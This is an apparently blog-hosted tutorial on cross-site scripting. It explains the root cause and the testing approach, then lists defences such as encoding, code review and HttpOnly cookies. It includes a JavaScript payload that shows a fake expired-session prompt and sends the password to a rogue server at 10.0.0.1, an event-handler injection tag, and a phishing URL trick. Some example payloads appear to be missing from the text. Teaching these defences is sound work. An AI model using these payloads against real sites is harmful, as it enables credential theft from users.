The root of cross site scripting vulnerabilities (from now on referred to as XSS) is improper input sanitation to the server, which allows input of script commands interpreted by client side browsers. The most immediate outcome of such a script injection is the execution of commands on the client side.
XSS is feasible anywhere where the input is displayed to the user for e.g. this blog where the users enter their names for comments which are displayed to the subsequent visitors.
The simplest way to test an XSS vuln is to enter the following text in the input:
If this little trick works you have a full chance to implement a full XSS attack against the app.
1. Consider the following example.
var password = prompt (‘Your session is expired. Please enter your password to continue’ ,”); location.href=”https://10.0.0.1/passwordgrabber.pl?passwd=” +password;
The server at 10.0.0.1 is a rouge server setup to capture the entered password through a simple script.
2. Consider another simple and widely used attack. See the following url carefully:
A quick glance may lead you to believe it points to mybankaccount.com but if you note the @ character you will realize that anything BEFORE the @ character is a USERNAME and is ignored by the browser which thinks the the link is followed to user:password@sitename syntax used by many browsers.
Worse is when the target domain name is hex encoded so the above link may seem as :
to which many people assume that there passwords are going ENCRYPTED :) in the url.
The below link describes the Cross Site scripting attacks in more detail:
Avoiding Cross Site Scripting Attacks in your application:
A. Review Code for XSS Bugs
Write down all entry points to your web application. This includes all fields in forms, passwords, querystring, http headers, request variables, cookies and data from the database
- Trace each data as it flows from the application
- Determine wether the data is ever reflected to the output
- If yes, is it clean and sanitized?
- Finally pay special attention to innerHTML and document.write.
B. Don’t Look for insecure constructs
1. A common mistake made by developers is to allow “safe” HTML constructs. For e,g, allowing a user to send <img> or <table> tags to the web app.The the user can send HTML tags but nothing else other than plain text. However an XSS attack threat still exists because the attacker can embed a script in some of these tags for e.g.:
“<framset onload = vbscript:msgbox(())></frameset>”
And a lot of others which can be googled for.
C. XSS Remedies:
As with all other input issues the first rule for mitigating such attacks is the golden rule (ALL INPUT IS EVIL). Not trusting ALL input is the only safe approach. Fixing XSS issues is a little more like dealing with SQL injection attacks: You have a HUGE grammer to deal with and only certain chars have special meaning. Some of the defence mechanisms I found in reading and practice:
- Encoding input (we will come to this in detail later)
- Adding double quotes around all tag properties.
- Inserting data in innderText property
- Forcing the codepage
- The HTTP Only Cookie option
- Using the <FRAMESECURITY> attribute
- ASP.NET ValidateRequest Configuration
These remedies will be discussed in more detail in Part II.